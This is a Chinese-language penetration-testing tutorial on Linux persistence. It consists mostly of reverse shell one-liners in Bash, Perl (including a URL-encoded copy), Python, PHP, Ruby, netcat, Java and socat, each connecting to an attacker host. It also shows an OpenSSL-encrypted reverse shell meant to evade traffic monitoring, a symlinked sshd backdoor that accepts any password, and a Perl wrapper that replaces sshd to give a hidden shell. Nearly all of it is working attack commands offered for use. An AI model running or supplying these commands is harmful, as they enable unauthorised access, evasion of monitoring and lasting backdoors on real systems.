Linux权限维持
0X00 关于权限维持
什么是权限维持?
我们可以直接简单的把权限维持理解为我们在目标上安装了一个后门,权限维持的目的是保证自己的权限不会掉,一直控制住目标.
0X01 获得初始权限
Linux有很多种反弹shell的方法,反弹shell的好处主要是操作过程中会更加方便,对我个人来说,主要是命令补全,总之,从权限维持的角度来说,可以更好的去执行一些操作.
能否反弹shell,要根据目标的环境来尝试,有可能bash无法直接反弹,但是python却可以成功,还要注意白名单问题.
实验环境准备直接用Kali,记得做好快照.
Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
参考资料:
bash反弹shell原理解析
https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
URL-Encoded Perl: Linux
echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'
Netcat without -e #1
mkfifo函数只是创建一个FIFO文件,要使用命名管道将其打开。
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
Netcat without -e #2
nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444
Java
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[]); p.waitFor();
Xterm
xterm -display 10.0.0.1:1
Exec
0196;exec 196<>/dev/tcp/<your_vps>/1024; sh 196 >&196 2>&196
思考:假设渗透过程中,发现目标环境无法反弹shell,最后测试得出只开放了80和443.通过白名单反弹shell时又发现流量被拦截了,如何应对这种情况?
可以尝试通过加密数据包的方式来逃避流量监控设备.
第一步:
在VPS 上生成 SSL 证书的公钥/私钥对:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
第二步:
VPS 监听反弹 shell:
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
第三步:
连接:
mkfifo /tmp/wing;/bin/bash -i < /tmp/wing 2>&1 |openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/wing
获得shell
但这时你会发现,这个shell不太好用,没有基本的命令补全.
解决方法:
python -c 'import pty; pty.spawn("/bin/bash")'
pty是一个伪终端模块
pty.spawn(argv[, master_read[, stdin_read]])
产生一个进程,并将其控制终端与当前进程的标准io连接。这通常用于阻挡坚持从控制终端读取的程序。
函数 master_read 和 stdin_read 应该是从文件描述符读取的函数。默认值尝试在每次调用时读取1024字节。
在 3.4 版更改: spawn() 现在从子进程的 os.waitpid() 返回状态值
有时候提权以后终端也是会出现类似问题,一般这个方法可以解决.
或者参考后面的链接
socat
socat file:`tty`,raw,echo=0 tcp-listen:9999
把socat上传到目标机器上,然后执行:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999
也可以得到一个交互式shell
知识点来源于
将简单的shell升级为完全交互式的TTY
https://www.4hou.com/technology/6248.html
全程带阻:记一次授权网络攻防演练(下)
https://www.freebuf.com/vuls/211847.html
0X02 权限维持技术
SSH后门
SSH软连接
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
建立一个软连接,然后通过5555端口访问ssh服务
正常的登陆功能
添加用户
useradd wing -p wing
ssh连接时密码任意输入,kali测试时,root也可以。
具体原理见[Linux的一个后门引发对PAM的探究]( http://www.91ri.org/16803.html)
SSH Wrapper
Exploit:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
然后连接:
socat STDIO TCP4:target_ip:22,source